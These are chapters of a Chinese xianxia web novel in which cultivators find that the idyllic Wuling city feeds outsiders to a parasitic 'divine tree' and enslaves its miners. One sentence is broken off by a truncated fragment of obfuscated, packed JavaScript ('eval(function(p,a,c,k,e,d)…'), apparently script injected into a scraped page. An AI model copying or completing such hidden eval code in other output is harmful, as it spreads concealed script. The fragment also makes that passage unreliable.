孟十八脚步一顿,那个女孩明明在说完话就晕了过去,她明明把那个女孩留在原地,她明明在那个女孩身上留下了追踪符。她不该去,这是陷阱,是阴谋,她还有更重要的事要去做,她要离开这里,她要查清楚背后的真相,她还要告诉…… “姐姐,你答应过的……” “你答应过要帮我找到娘亲的……” “你答应过的……” 只是一个晃神,那个女孩竟然自己停止哭泣,走到她面前,牵住她的衣角。 她的手那么冷,皮肤又那么滑,一双又黑又亮的眼睛直直地盯着孟十八。 “姐姐……我要娘亲……” 无数双“眼睛”睁开了。 从地上,从墙上,从一砖一瓦上。 从树上,从叶上,从女孩发间的绒花上。 无数双眼睛注视着她,无数双眼睛凝望着她。 她应该拔剑,她应该战斗,她应该割断这些毛骨悚然的非人之物。 可是,孟十八被钉在原地,眼眸里倒映出令她不可置信的事物。 女孩仰起头, “姐姐,我找不到娘亲了……” ——“娘亲……妈妈……你在哪里……” 那么熟悉的声音,那么熟悉的哭泣。 是谁在流泪,是谁在呼唤,是谁在哀哀寻找。 那是,她的面容。 女孩有一张,和孟十八一模一样的脸庞。 * 叶轻舟再次捏响传讯符。 依旧没有回音。 自他出发给孟十八传讯至今,没有得到一次回应,这完全不是对方的作风。叶轻舟心中着急,忍不住打开系统面板。 “系统,能不能定位孟十八的位置?” “武陵探索度不足,请稍后再试。” 叶轻舟不死心又问道:“我要检测武陵城情况。” “请在规定范围内进行扫描。” 叶轻舟暗骂一声关键时刻不顶用,睁眼提议道:“师姐,我先去看看武陵城外围情况。” 玉云英知他阵法极佳,嘱咐他注意安全。 叶轻舟点头,腾空而起,双手掐诀:“显!” 一层透明闪着金色的防护罩浅浅浮现,笼罩在整个武陵城外,叶轻舟伸手试探,只觉得内有万丈深渊,稍不留神就能将人吞噬殆尽。 一个没有仙门还爆发过魔气的城市居然被一座巨型结界所保护,莫非他们也是因为魔气才打开的?只是不知孟十八是如何闯入的。 叶轻舟心中更急,武陵入城条件苛刻,须有官府或仙盟令牌才能入内,孟十八是怎么进去的……莫非是硬闯武陵受了伤才一直没回他消息?不不不,孟十八功力深厚,这个阵法又完好无损,怎么看都不像经历过恶斗,说不定只是他废话太多对方不愿意回。 他又去问系统:“现在可以干活了吧?” 【更新中】 【资料卡已更新】 【武陵城等级:A级】 【未检测到魔气】 【■■■,67%】 【是否更新队伍信息?】 怎么又来个马赛克?叶轻舟拍着屏幕试图修好,但是系统执着装死,只弹窗,不说话。 “更新什么队伍?我现在和谁组队中?”叶轻舟只觉莫名其妙,这又不是什么RPG游戏,难道会有紧张刺激的回合制boss战? “不更新,我要武陵的情报!” “请用户继续探索。” 没招了,叶轻舟恨不得去打投诉电话。 “师姐,武陵城外有防护阵法,修为极深,我探不出底细。城外没有发觉魔气痕迹。” 玉云英点头,放出手中灵力所化的纸鹤,“我已告知师妹们,若我们三日未归,立即封锁此地,求助仙盟。”说罢,她拿出通行令牌,“走吧,叶师弟。” 令牌在手,门卫自然不会阻拦。二人一同进入武陵城。 入目一派喧哗热闹的景象。 这是一座完全符合叶轻舟对古代幻想的繁荣城市,行人摩肩接踵,顾客与商贩为着几文钱讨价还价,迎来送往,伙计们一声声地吆喝招呼。琵琶琴声与惊堂木响交相辉映,喝彩声不绝于耳,人人脸上都挂着笑容,比落在身上的阳光还要灿烂三分。 任谁看了也不会觉得这里在不久之前刚爆发过魔气,叶轻舟拿出灵力盘,眉头一皱,小声道:“师姐,你看。” 灵力盘竟是一动不动。 要知道天地万物皆有灵,更何况有叶、玉两位修士在此,灵力盘怎么可能毫无动静。 除非…… 二人心中各自警惕,小心观察起周围。 热闹喧嚣下掩盖的是什么? 欢声笑语背后藏着什么? 玉云英低头,她明明应该警惕,可是为何手却不自觉松开了剑鞘,垂在一边。 是疏忽吗?还是她的身心没有感觉到危险? “哎呦!” 小孩跌坐在地上,叶轻舟正要上前帮忙,却见附近行人自觉避开孩童,等到小孩的母亲前来才各自微笑合流。 好奇怪。 叶轻舟收回手。 怎么会有这么奇怪的平地摔? “二位就是新来武陵的修者吧!幸会幸会!”一个热情洋溢的声音打断了叶轻舟的思绪,一位长相富态的中年男子走到他们面前,“城主正忙于正事,让我来接待二位,快请快请!” 城主府与叶轻舟想象的不同,比起魔界豪强富商的宅邸都显得有点普通。迎接他们的是城主的管家,管家姓陶,富态长相,因年岁渐长而身材发福,笑眯眯地道:“不知二位前来武陵,有何要事哇?” 玉云英正色道:“一个时辰前,此地有魔气爆发,你们可有线索?” “魔气?”陶管家瞪圆眼睛,哈哈笑道:“怎么可能?武陵建立至今,无灾无难,怎么会见到什么魔气,哈哈,修者不是在说笑吧?” 他的笑声很有特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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武陵城实在繁荣过头了。叶轻舟见惯了死亡现场,乍一下被推入武陵的阳光下,宛如下水道的老鼠恨不得抱头乱窜,等他反应过来后才意识到自己没必要如此应激,差点忘了他本来就是生在太阳下根正苗红好青年,何须畏惧太阳。 只是孟十八会很不习惯吧,他蹲在墙上俯视远处的市坊,也不知道她查线索查到哪里去了,说的危险又在哪里。唉,叶轻舟记下最后一处坐标,对系统吐槽道:“你有没有检测模式,能让我直接发现主线线索?” 【武陵城传送点,全解锁】 【灵气探查模式,无法开启,请稍后重试】 怎么连系统都应景地被限制了?这武陵城还真是藏龙卧虎。 叶轻舟在识海里愤愤锤了两拳系统,“定位孟十八,快点!”他说完怕系统又找什么理由糊弄,干脆拿出符纸,反正孟十八身上的符也都是他做的,灵出同源,“定位这个也行!” 地图上出现了第二个红点,一闪一闪的,就在闹市区旁边。 叶轻舟心情激动,心想这个系统还算有点用,立刻传送到附近寻找起来。 这里比起武陵其他地方清静许多,偶尔能看到几个庄稼汉围坐在一起下棋吹牛,妇女坐在台阶边上绣花浣衣,间或有孩童嬉笑,自有一番风味。 叶轻舟步履不停,一心赶路,自然没有注意到每一个人都在注视他。 他往那里去了。 他看得见。 嘻嘻,他看得见。 他听不见我们。 呜呜,好可怜。 系统面板上两个红点的位置越来越近,叶轻舟脚踩着土地,眼睛扫过四周青砖黛瓦,不禁疑惑杀手会藏身何处。 “呜呜……呜呜……” 细小的,像猫儿一样的哭声传来。 “妈妈……娘亲……你在哪儿……” 小姑娘不过七八岁模样,衣衫上沾了污泥,低着头呜咽哭泣,头上两朵破损的绒花。 红点重合了,系统冷淡的提示音响起: 【已到达指定位置】 叶轻舟不可置信地蹲下身,咽了咽口水问道:“小姑娘……你,你知道……” 小女孩抬起头,红通通的眼睛里没有半滴泪水,白嫩的小脸因为光线分割为阴阳两半,嘴角勾出古怪的弧度,一半在哭,一半在笑。 她看向叶轻舟。 他们看向叶轻舟。 “你来了……” 他们齐声吟诵。 “她在等你!” “祂在等你!” 巨大的藤蔓从土地里升起。 6. 武陵桃源(3) 在前往武陵的路上,玉云英曾对他说过青山派与武陵城的旧怨。 因武陵城当时并未在仙盟庇护之下,青山派撕下保护者的面具,秘密派遣数位修士强占武陵,夺取灵矿。 此等绝密情报,却堂而皇之地出现在仙盟盟主的案头。盟主知晓后大惊,急急派人前往调解。 可是谁知,当仙盟的使者到达后,只见青山派众人满脸阴沉,而武陵城依旧和从前一样歌舞升平,仿佛从未出现过之前的龌龊。 “那些青山派的修士呢?”叶轻舟问。 玉云英叹道:“当年的武陵城主说,外乡人不敬神树,已遭天谴。青山派长老不服,坚称他们被武陵人害死,仙盟使者为调查真相请出了阴阳镜与四灵罗盘,结果却是……”她自己也难以相信即将说出口的话,“青山派那些修士在接近神树后,居然自觉停下脚步,一同离开了武陵,走向茫茫深山之中,再也寻不得一丝一毫的踪影。” 叶轻舟微微张大嘴,“那去山里找了吗?” “自然,可是山间既无人影,也无尸首,什么都没有留下。”玉云英道:“此后,武陵城虽同意归属仙盟而非魔界,也同意各方修士前来,唯独一条,不可对他们的神树不敬。” 她仔细叮嘱道:“待会进城,记得小心。” * 抱歉啊师姐,我已经够小心了。 叶轻舟甩出符纸,藤蔓炸开后爆出黏液,烧得泥土滋滋作响。 他自从见到那个小女孩后,脑子就被强行塞入万人大合唱,要不是他机智聪明让系统魔音对轰,恐怕他现在已经被这东西卷成肥料团吧团吧吃了。 “什么等不等的,当谜语人是要遭天谴的!”叶轻舟双手掐诀,引来落雷,又啪啪几张燃烧符打过去,自己腾空俯览地形,抢占制空权。 孟十八是不是也遭遇了这些东西,也不知她现在如何?叶轻舟戳开系统,“系统,这boss的弱点在哪?抗性是什么?我队友呢?”地图功能居然因为战斗而锁定了,该死。 【沉于旧日之梦·融合之木(分枝)】 【区域任务:何为桃源,已开启,欢迎用户探索完成】 “啥?这还是个地图任务?你不说这是主线吗?”叶轻舟大喊道,“系统你把话说清楚!喂!” 系统选择在他脑子里装死,原本在地上的藤蔓倒是越长越高,隐隐有牵扯他的可能。 我又不是莴苣公主,叶轻舟将定型阵拍过去,又从自己的储物袋里拎出一瓶改良版枯草剂,直接一个猛扎子降落就往地上倒。 这一倒还真让他发现了新的东西,巨型藤蔓原先像打地鼠一样到处扎洞生长,结果被他这么一折腾,地上反倒空出几个洞,隐约能听到什么。 咚咚,咚咚。 “来活咯。”叶轻舟在自己的储物袋里一阵找,他也不是白做这么多年的后勤,妙妙工具应有尽有。 “就是你了。”他拿出一个小型法器,嵌上灵石,“给我挖!” 法器逐渐变形膨胀,竟然变成了一台挖掘机。 这妖邪藤蔓如有神智,怎么可能会轻易束手就擒,粗如臂膀的藤蔓铺天盖地席卷而来,竟是准备活活将叶轻舟困死在此。 叶轻舟反手散出燃烧符,可是这玩意居然……“失效了?”他愣了一下,“这东西还会进化?” 只见原先能烧断藤蔓的灵火如今只能烧去薄薄一层,叶轻舟步伐转化,准备土遁溜走,可他忘了土地并不是自己的主场,而是对方的老巢。 “系统,有没有存档?我要传送,快点!” 难道他就要殒身于此了吗? 等等,叶轻舟忽然一顿,随着挖掘机越挖越深,他听到的声音也越来越清晰。 咚咚——咚咚咚—— 这意味的是,叶轻舟眼睛一亮,“困阵,起!” “咔嚓” 一道剑光闪过,藤蔓发出非人的哀嚎,叶轻舟猛然睁大眼睛,熟悉的身影挡在他面前。 “孟十八!” “叶轻舟,跟我走。” 来者正是孟十八,只见她手持利剑,率先开路,叶轻舟不假思索,立即跟上,二人直直飞了不知多久,孟十八才从空中降下。 “孟十八,你怎么……”叶轻舟刚从生死边缘走一遭,心里不知装了多少话,可一见到孟十八,脱口而出的却是,“你……你受伤了?”他从储物袋里拿出药瓶递过去,和以往无数次一样,“那些东西就是所谓的神树,我们接下来怎么办?” 孟十八伸手掐住他的脉搏,叶轻舟不明所以,也不反抗,任由对方探查自己的经脉,嘴里碎碎念叨着自己一路的经历。 “去鬼村。”孟十八松开手,示意他先处理自己的伤口,淡淡道。 鬼村当然没有鬼。 它甚至不能算一个村庄。 如果说武陵城是一个没有生老病死的人间天堂,那么鬼村就是角落里承受一切肮脏的垃圾厂。没有阳光,没有笑容,只有一个个骨瘦嶙峋的“鬼”,他们有的眼神空洞,呆呆坐在一边不言不语,有的状若癫狂,肆无忌惮地奔跑又跌倒,有的只是沉默,观察着外来者。 这里没有一丝绿色,没有树木,没有花草,甚至墙壁上的青苔都被铲得干干净净。 孟十八习惯性走在前面,回到阴影里反而让她觉得轻松,不必担心暴露,而且比起诡异幸福的武陵,她更习惯这里。 “许方沐。”她停在那位挣扎着又想奔向结界外的疯子,那疯子看上去也不过二十出头,连头发丝都沾满了污泥,嘴巴里只能发出如野兽般嗬嗬的威胁。 “许怀清让我找你。” 疯子——许方沐安静了下来,野兽因为一个名字而重新成为人。 “她……她……”他直直地盯着孟十八,声音粗粝,“她还活着吗?” 孟十八点头,“她托我带句话,要你省点力气,好钢用在刀刃上。” “哈哈……”许方沐笑得咳嗽不止,“还真是她能说出来的……为什么……为什么……” “为什么要我一人留在这里!” “为什么不让我去死……为什么……为什么啊……” 叶轻舟悄悄挪到边上,询问系统:“这里总没有传送点了吧?” 系统不语,只是一味更新地图。 【武陵地图·里世界,已解锁】 【用户可以继续探索】 没招了,叶轻舟放弃查看,他不如去整理自己的储物袋,孟十八的衣服都脏成那样了也该换下来洗洗。 这厢叶轻舟自娱自乐,那边许方沐嚎啕许久发泄够了,才哑着声音道:“你想问什么,尽管说吧。” 孟十八直截了当问道:“怎么打败那棵树?” * 祂想吞噬她。 在最初的怔愣后,孟十八敏锐地看到女孩脸上蠕动的青筋,不断变化出各种表情。 模仿、学习。 祂在进化。 剑出,落在地上的不是血,而是绿色的汁液。 孟十八手燃灵火,烧向祂的眼睛,同时剑气一挥,震断四周的围墙。 无数双眼睛看向她,从脸上,从地上,从天上。 无数种声音在她脑子里炸响: “好熟悉……好熟悉的感觉……” “合而为一……与我们一起……” “成为我们……成为我们……” “你是谁……好温暖……好想要……” “更多……更多……” 孟十八咬破手指,以血结印,剑上同样燃起魔火。 “去!” 一声轻喝,万道烈焰竟是以她为中心,向四面八方无差别地攻击起来。 烧断它们,孟十八眼瞳里映出熊熊火光,脚尖一点,直奔神树方向而去。 她见到了神树。 神树显然年岁悠久,粗壮得需要几人合抱,明明高耸入云,却完美隐秘存在,更怪异的是,孟十八一剑劈落花瓣,这怎么可能会开出桃花? 脑海里的声音越来越吵,追向她的藤蔓越来越多,孟十八死死咬住嘴唇保持清醒,再次以血引诀,“焚尽!” 痛苦的哀嚎几乎要掀翻她的脑袋,在至纯烈焰的灼烧下,郁郁葱葱的绿化为枯焦的黑色,树皮脱落,枝叶凋零,露出藏在大树深处的,莹莹发光的核心。 她必须摧毁核心……孟十八举剑正要刺去,却被无形的屏障阻碍了脚步。 只一瞬,局势忽变。 神树竟是瞬间焕发新机,重新长出更加尖锐的枝丫,呼啸着向她袭来,风中都带着凌厉的剑气。 祂居然还在进化。 孟十八熟练地接下祂的每一招,因为那是她自己的剑术。 祂改变了策略,不再一味置她于死地,而是像猫捉耗子般享受起追捕的过程,打定 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孟十八蹙眉不语,和武陵人不同,许怀清体内只有微弱的灵力,她松开手又问: “核心在哪?” “树心在更深处,眼下不要轻举妄动。”许怀清从她的面容上读出情绪,劝道:“已经有人为此牺牲了。” 许怀清不是第一批借道武陵的修士。 按照仙盟与武陵的契约,持有通行令与仙盟路引的修士,可以借道武陵行向他方。许怀清出身剑宗,此次正是带领师妹们前去参加仙盟大比。谁知半路上才发现她那难缠的弟弟许方沐居然也在队伍里,还招惹了魔修,一行人只能改道解决争端,再想前去仙盟,只能过武陵城。 恰巧,她们碰上了一年一度的武陵大典。盛情难却,面对众人满怀期待的眼神,没比她们年长几岁的许怀清哪里硬的下心肠,自然点头同意。剑宗的少年们顿时像放了风的风筝一样欢呼而散。 “……那就是一场噩梦。” 唯一没出门参加庆典的许怀清等到月上梢头,人声消散,也没有等到他们回来,传出去的通讯符也杳无音信,她不放心,带着剑出门去找。 ——只来得及看见他们被作为祭品,被所谓的神树吞噬。 没有丝毫犹豫,许怀清拔剑对上。 武陵城的和平是一个巨大的谎言。他们供奉的神树实则是需要活祭的邪物。 而他们这些修士,就是武陵选中的祭品,一代又一代,在夹缝中苟延残喘,寻找着反抗的机会。 许怀清娓娓道来:“自最初的青山派修者到如今,我们损失惨重,但也在祂看不见的地方,建成了鬼村。” “你若是想了解更多,就去那里。” “五十年,”孟十八突然补充道:“今年会有仙盟大比,至少过去五十年了。” 许怀清一愣,“五十年?”她喃喃,“竟然已经这么久了?” 寻常修者生命也不过三百余年,五十年足够青丝染霜,少年衰老,曾经温柔的剑宗师姐,如今被磋磨成未被吞噬的祭品。 可是有些东西是磨不去的,孟十八的目光划过她的眉眼,美人如玉亦如剑,风霜磨难只会把她锻炼得愈发锋利。 “我失态了,”许怀清回过神来,笑了笑又继续道:“以神树为界,武陵被切为两部分,表层的安居乐业以及内在的阴暗。” “去找我那个弟弟吧,告诉他省点力气,不要总想着回树里见我。” 女子笑意温和,语气坚定。 “这是我的责任。” * “责任?!”许方沐狂笑起来,“明明是我的错!是我没有拒绝!是我害了她们!为什么要我活着!一无是处地活着!” “因为她爱你啊。”叶轻舟实在看不下去,接话道:“因为你姐姐爱你啊,你如果真的想弥补错误,就快点告诉我们该怎么铲除那个怪物,早点把你姐姐救出来。” “救……”许方沐喉咙里漏出古怪的笑声,“唯一杀死祂的机会在庆典,只有那时候祂会毫无保留地展露核心吞噬祭品。” 祭品……叶轻舟想起陶管家当时殷切邀请他们去看典礼,莫非就是打着让他们当祭品的主意? 糟糕! 叶轻舟脸色煞白:“师姐还在他们手上!” 7. 武陵桃源(4) 叶轻舟想到师姐还在城主府,忙声问道:“怎么从这去城主府?” “哈,你开玩笑吧,”许方沐毫不在乎,“除了典礼那日,阎王殿只进不出,要是能离开……哈!”他冷眼看着,“省省力气吧,要是传讯符有用,早在几百年前就该推平武陵了。” 叶轻舟心里着急,反驳道:“不试试怎么知道?”他在脑子里调出系统,“我的传送点呢?我现在就要回去。” 【区域任务进行中,该功能暂不可用】 关键时刻掉链子,闯祸搞事第一名,要你何用!叶轻舟心一横,拔腿就要往外走。 “急什么,一日不见如隔三秋,三日不见地府相逢,只要等上三天,哈,”许方沐仿佛还嫌不够,火上浇油道,“你现在还来得及准备欢迎仪式呢。” “闭嘴!”叶轻舟忍无可忍,拽住许方沐的衣领狠狠道:“你明明比我更清楚那些东西的危害,师姐在城主府待的越久就越会成为祭品!” “你明明比我更清楚!”他几乎是吼出来,“你的姐姐还在树心里!难道你就不想救她吗!” “你!”许方沐的嬉笑僵在脸上,扭成一个滑稽的表情,“你根本什么都不懂!”他不甘示弱地吼回去,“你以为你的莽撞能挽回什么?你以为你现在过去能救得了她吗?你这个没有脑子没有计划也没有身手的东西!”一行眼泪从他干涸的眼眶里流出。 “够了,”孟十八伸手轻易拦开二人,她的手握住叶轻舟的手臂,带着安抚与支持,“别急。”她的目光落回许方沐身上,“你知道去城里的路。” “路……哈哈,我当然知道,这里每个人知道!你以为知道路就能出去了吗?你以为我们是自愿留在这的吗?”许方沐又哭又笑,伸手一指,“路就在那里。” “往回走,是树心,往前走,是武陵,这就是武陵城的真相,它是绕环的圆。” 许方沐用手在地上画着,“武陵在最顶端,鬼村在最底下,水往低处流,这里容纳着武陵一切的肮脏污秽,以及我们这些暂时活着的祭品。” “那条路上有什么?” 许方沐古怪一笑:“人,总有所执,有所念。” 那条路上有幻境,里面可以看到你此生最渴望的事物,也会看到最绝望的情景。 许方沐第一次踏上道路时,满心只想着杀回树心去救姐姐。他以为自己做到了,他挥了那么多次剑,他身上染了那么多血,可最终许怀清像一片叶子倒在她怀里,胸口上插着他的剑。 亲手杀害姐姐的噩梦让他崩溃,而噩梦醒来后,他仍然在鬼村里。其他人告诉他,没有通过幻境的人都会被送回起点。 “代价是,能出去的范围越来越窄。” 第二次,他做足了最坏的打算,但是他看见的,却是剑宗再普通不过的一日,他与三五好友比试剑法,闲来无事捉弄一下古板的师长,在姐姐的监督下百般无聊地做功课。 他看见自己在仙盟大比一举成名,许方沐的名字震响天下,他看见许怀清温柔又骄傲地看向他,于是他也奔向他的姐姐—— 他又一次从幻境里醒来。 第三次、第四次……无数次。 直到他再也走不出这个鬼村,心魔横生,不得解脱。 “你能做到吗?”许方沐看向叶轻舟,带着微妙的情绪,“你能分得清现实与虚幻,你舍得斩碎你的美梦吗?” “我当然可以!” “我与你同去。” 二人同时开口。 叶轻舟想说我身上有个神秘系统肯定没问题,但是孟十八为什么会…… “互相有照应。” “没用的,”许方沐毫不客气打破气氛,“说不定还会打起来,你们想好了?” “只要我们有一人能通过,就能救下你的师姐。”孟十八却说,“留下那个人负责继续收集情报。” 不知为何,叶轻舟原本紧绷的神经被抚平放松下来,好像这只是寻常的一次外勤任务,他负责善后扫尾给他做后勤保障。 “我想,”他调整心态,“我恰好带了可以互相定位的法器。” * 鬼村往前,是一条极为狭窄的小路,只允许一人通过,孟十八自然走在前面,叶轻舟拨开云雾,亦步亦趋地跟在后面,两串铃铛分别别在二人的腰间。 走着走着,道路变得宽阔,两边也不再是阴沉沉的石壁,树木交错,一派幽雅景致,“这里还真像……”叶轻舟几步走上去想和孟十八搭话,却发现前面空空如也,他们不知何时竟然被分开了。叶轻舟摇响铃铛唤道:“孟十八?你在哪?” 没有回应,只是周围的树木似乎听到声音,竟然一瞬间刷啦啦地齐齐绽放。千树万树桃花盛开,落英纷飞,温柔地绕着他。 “叶道友。”有人这样喊他 “叶师弟。”这是玉云英的声音。 “叶轻舟。”孟十八?她在这里? “小叶!”这是…… 叶轻舟下意识想拿出符纸,可一个抬眼的功夫,眼前已是高楼大厦,车水马龙,随着暮色降临,各色霓虹灯牌接续亮起,徐徐清风滚入红尘,染上烧烤摊的烟火气。有熟悉的身影在前面招呼他:“小叶,怎么还不跟上来?” 叶轻舟怔愣在原地,手上握着刚刚熄屏的手机,屏幕里映出他的模样,短发,短袖,最普通不过的年轻人。好安静,他摘下蓝牙耳机,没有音乐,好安静。 “别发愣了,走路不要看手机。”他被人扯着往前走,“再不快点走就要跳号了,快快快!” 他想起来了,因为比赛得奖,他们寝室约好今天聚餐,还要通宵去看新片上映。 但是…… 他好像忘记了什么。 此时恰有风拂过他的脸颊,落下片片花瓣。 桃花,那么多的桃花。 孟十八从未见过这么多粉色。 不,她是见过的,不是在魔界,而是在更远更远之前……紧握住武器的杀手又一次被疼痛袭击,空荡的记忆里掀起一阵又一阵的狂风,搅乱她的脑子。 “妈妈……” 狂风平息,她站在桃林中,叶轻舟已经不知去向。 在一棵桃花树下,站着一个孤零零的小女孩,约莫七八岁,手脚还有些不协调,头发被胡乱地用桃枝固定,一身粉衣,跌跌撞撞地停在树下呼唤: “妈妈……你在哪……妈妈……” 够了。 孟十八拔出剑,相同的戏码上演三次足够了,那个东西凭什么顶着她的脸!如果是她去寻找自己的母亲,她绝不会只待在原地哭泣,没用的,这是没有用的,她一定会去找,哪怕寻遍三界,她也一定会去找到——可是,她,她根本不记得自己的母亲! 睁开眼时,她躺在荒芜之中,没有记忆,没有名字,只剩本能。她不知道自己是什么,是人,还是鬼,是仙,还是魔,她唯一知道的就是要活下去,只有活下去她才能——能做什么呢?空洞的记忆嘲笑着她,湖面的倒影映出她的眼睛,如此空洞,如此虚无,一个连自己都不知道自己是谁的东西,到底在为什么而活着。 “要不要和我走?”相思楼主问她,男人的脸俊美且苍白,唇边的笑意染在眉梢,同样苍□□致的手指穿过她的头发,而她居然没有反抗。 “为什么?”你要从我身上得到什么? “你可以做你任何想做的事,可以去修道,去读书,去当纨绔,去做番事业,不用为生计发愁,不必靠打猎养活自己。”相思楼主没有回答她的问题,“我可以给你有关荣华富贵的一切,”他像在自言自语,“但是你注定会回到这里,是更喜欢魔 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杀手绕过亭台楼阁,越过水榭花园,如影子攀上墙壁,闪入未合拢的窗户。 房间里没有点灯,只见一道凌冽的剑光,一人守株待兔,一人无心缠斗,几个回合后,孟十八不轻不重地按在玉云英的命脉上,沉声道:“是我,叶轻舟要我来救你。” 玉云英眼睛微睁,掩不住讶异:“十八娘,你怎么会在这么危险的地方?叶师弟呢?你们有没有受伤?” 孟十八万没想到对方说出口的竟是这个,原本冷硬的面庞柔和了一瞬,低声道:“无碍,叶轻舟现在平安无事。” “武陵现在情况危急,我来带你走。”她简明扼要地说完前因后果,“所谓大典是将外来者作为祭品献给神树,也是我们杀死神树揭开武陵真面目的机会。” “难怪,武陵人举止怪异,我与外界断了联系。”玉云英眉头紧锁,“只是有一事奇怪。” “仙盟与武陵定下的契约里,仙盟提供庇护,武陵让渡灵矿开采权,数百年来从未间断。” 玉云英见孟十八不解,解释道:“仙魔修道,虽都是使用灵力,而仙气与魔气之别,正是在于手段。灵石亦是如此,一个需要活祭的邪物,是不可能有这般纯净的仙气。”她说着从储物袋里拿出两块外表相似的石头,“你既是修者,不如来感受一下这两块灵石的不同。” 孟十八将信将疑,伸手试探,果然一者澄净一者夹杂些许污浊,“果真如此。” 玉云英收起灵石,“这正是我下山的目的,去调查一条被污染的灵脉。”她又道:“灵石罕有,是因为灵脉终有枯竭一日,如果武陵真的只有一条依赖于神树的灵脉……” 祂如何净化自己的血腥? 孟十八沉思,又问起另一件事:“你可认识剑宗的许怀清与许方沐?” “剑宗?”玉云英颦眉,“已经没有剑宗了。” “剑宗流传千年,日渐式微,后来屡遭变故,譬如上一届仙盟大比前,剑宗几名新锐携剑谱出逃西域,自立门户,一波未平,剑宗又连遭十二派挑战,剑阁更是遇到天火雷劫,荡然无存。剑宗掌门得知消息后,一病不起,含恨离世,又无人能够担起大梁,最终在仙盟主持下,解散剑宗,其余弟子拜入他门。” “出逃西域?”可是许怀清等人明明是失踪在武陵,怎么可能会变成截然相反的方向。 桩桩件件,疑惑更深,但坐以待毙绝非上策。 孟十八道:“灵矿位置,你可知晓?”见玉云英点头,“我们一起,亲眼去看。” 两道人影消失在无边夜色中。 8. 武陵桃源(5) 离灵矿越近,环境越发凄凉。 褪去繁华,褪去幸福,闻不到虚假的烟火气,只有血腥与粉尘混合的,真实又颓然的现实。 即使已经是深夜,灵矿上仍然灯火通明,能听见在镐头击打矿石的声音中夹杂着几声咳嗽。 “啪——”鞭子划破长空,抽在皮肉上。 不屑又尖利的声音响起:“还敢偷懒?!做不完这些,明天不许吃饭!” “老爷,求您了,我这就去做……”颤抖又衰老的哀求。 一个瘦小佝偻的身影颤巍巍站起来,血滴在地上,换来更深的一鞭。 “还敢污染灵矿!拖出去!扣掉工钱!” 周围其他人只是麻木地看着,仿佛这样的场景已经发生无数次。 “哼!你们这些人都给我记好了!这一切都是因为你们对神树的大不敬!只有这样才能洗去罪恶重投好胎,听见没有!” 在一片稀稀拉拉的应声里,穿着锦衣绸缎的管事老爷得意地背手离开。 玉云英满脸震惊,这显然是她从未曾见过也不曾料想的局面。从小师长所教,是除魔卫道,是守护苍生,却从未告诉她,修士奉为珍宝的灵石背后,是苍生百姓的血汗。 “荒谬,怎么会有这种事情?”玉云英难掩愤慨,提剑就想上前,不料手腕被孟十八握住,将她带到一个隐蔽的角落。 “不要为一时冲动而打草惊蛇。”孟十八冷静道:“这里比城市内更贫困、痛苦,也有了武陵城内从未有过的生老病死。” “难道就眼睁睁看着他们受罪?” “但你会暴露……” 话音未落,孟十八转身轻喝,“谁?” “诶呀。”矮墙上翻下两个孩童,一女一男,面容相似,都想把对方护在身后。 “你们……是神使吗?”男孩率先开口,两只眼睛警惕地看向她们腰间的剑。 “二位姐姐,”女孩嘴巴更甜,“这么晚了,是迷路了吗?” 孟十八沉默蹲下身,将两块糖果放到他们手上,而后起身走到玉云英身边,低声道:“我不会应付孩子,劳烦你了。” 玉云英安抚性地拍了拍她的手,上前蹲下身,微笑道:“我们是外地的修士,天色这么晚,你们怎么不回家睡觉?” “我们在等爹娘回来,”小女孩握住手里的糖果,“谢谢姐姐,我还没见过这么好看的东西呢。” “姐?”小男孩下意识看向小女孩,玉云英自然读出他们的眉眼官司,笑道:“夜里风冷,不如我们送你们回家如何?” “好啊好啊,我家就在那边,不远的。” 这只是一个开始,两个小孩家住在一间破旧漏风的小院里,孟、玉二人刚进院门,就感受到双重威胁——脚下有灵阵,身后有柴刀,几个人虎视眈眈地盯着她们,小孩们早就一溜烟跑过去,邀功道:“怎么样?这下可以让我们也加入你们了吧!” “押进去审。”其中一人道,“你们两个,把武器交出来。” 二人对视一眼,既来之则安之,解了身上佩剑,走进屋内。 前厅不大,围着摆了十二张交椅,正中的椅子上坐着一位面带疤痕的青年,手上一层又一层老茧与伤疤,腰间别着一把砍刀,不怒自威。 “老大,就是她们两个,进村的时候就被我们盯上了!”小男孩抢先开口,“我还看到她两会飞,一定不是好人!” “她们说话提到了武陵,还拿我们和武陵比较,”小女孩紧接着补充,“身佩剑却手无茧,完全符合神使的表现。” “还有这个,”小男孩将糖果放在桌上,“拿这个骗小孩的都是坏人!” 青年听完,坐在椅子上,看向她们,“你们可有什么话要说?” 玉云英开口道:“我们是路过武陵的外乡修士,不清楚神使是什么。” “外乡人?怎么可能!”旁边一个汉子忍不住反驳,“外乡人要么被灌了迷魂汤,要么被困在鬼村,怎么可能从武陵来这里?” “为何不能?”孟十八不经意开口。 “因为这其中……” “老朱,闭嘴。”青年截断话头,对着孟十八道:“你去过鬼村。” “是。” “证据是什么?” 孟十八冷静道:“留守树心的许怀清与鬼村的许方沐可为我作证。” 屋内安静了一瞬,青年挥手道:“诸位都散了吧,我与二位客人单独聊聊。” “老大,万一她们是诈你的怎么办!” “老大,我去门口放哨!” “老大……”小姐弟二人蹭过去,“让我们也听听嘛。” “睡觉去,听见没有。” 众人顿时如鸟兽散,房内只剩下三人,门都被贴心合拢。 青年指了指椅子,自己拿起简陋的铜壶,“请坐吧,这里没有茶叶,凑合喝些白水。” “不知阁下如何称呼?”玉云英问道。 “刘慈,二位呢?” “云霄门玉云英。” “散修十八娘。” 刘慈笑了笑,“比我的名字还不上心,你们来这里做什么?灵石生意都是白天谈,也不在这谈。” “你们为什么没有被武陵控制。”孟十八直截了当问道。 刘慈倒水的手一顿,唇边的笑意漫进眼里,“为什么?自然因为这里的人,都是被神树抛弃的渣滓啊。” 开采灵矿的矿工有两类人,一是被武陵城流放的,他们大多无法接受现实,在崩溃中发疯等死,二是天生的弃民,他们的祖先拒绝了神树,于是世世代代卖与神树为奴。 “没有人后悔吗?”玉云英下意识问,“没有人改变信仰吗?” “哈哈哈……当然,当然有。”刘慈像是听到什么绝妙笑话,“你们也看到了矿洞里的情景,那些抽人鞭子的官老爷,就是投靠神树的,我们曾经的邻里亲友啊。” “什么?”玉云英失声道,“难道他们天性如此?” “天性?谁知道什么叫天性?我们的天性难道生来就只有服从或背叛吗?”刘慈反问,“那些人自己嘴里都是仁义道德迫不得已,一拿到鞭子,却比神使还要狠毒阴险,改变他们的……” “就是被整个武陵信仰供奉的神树!” 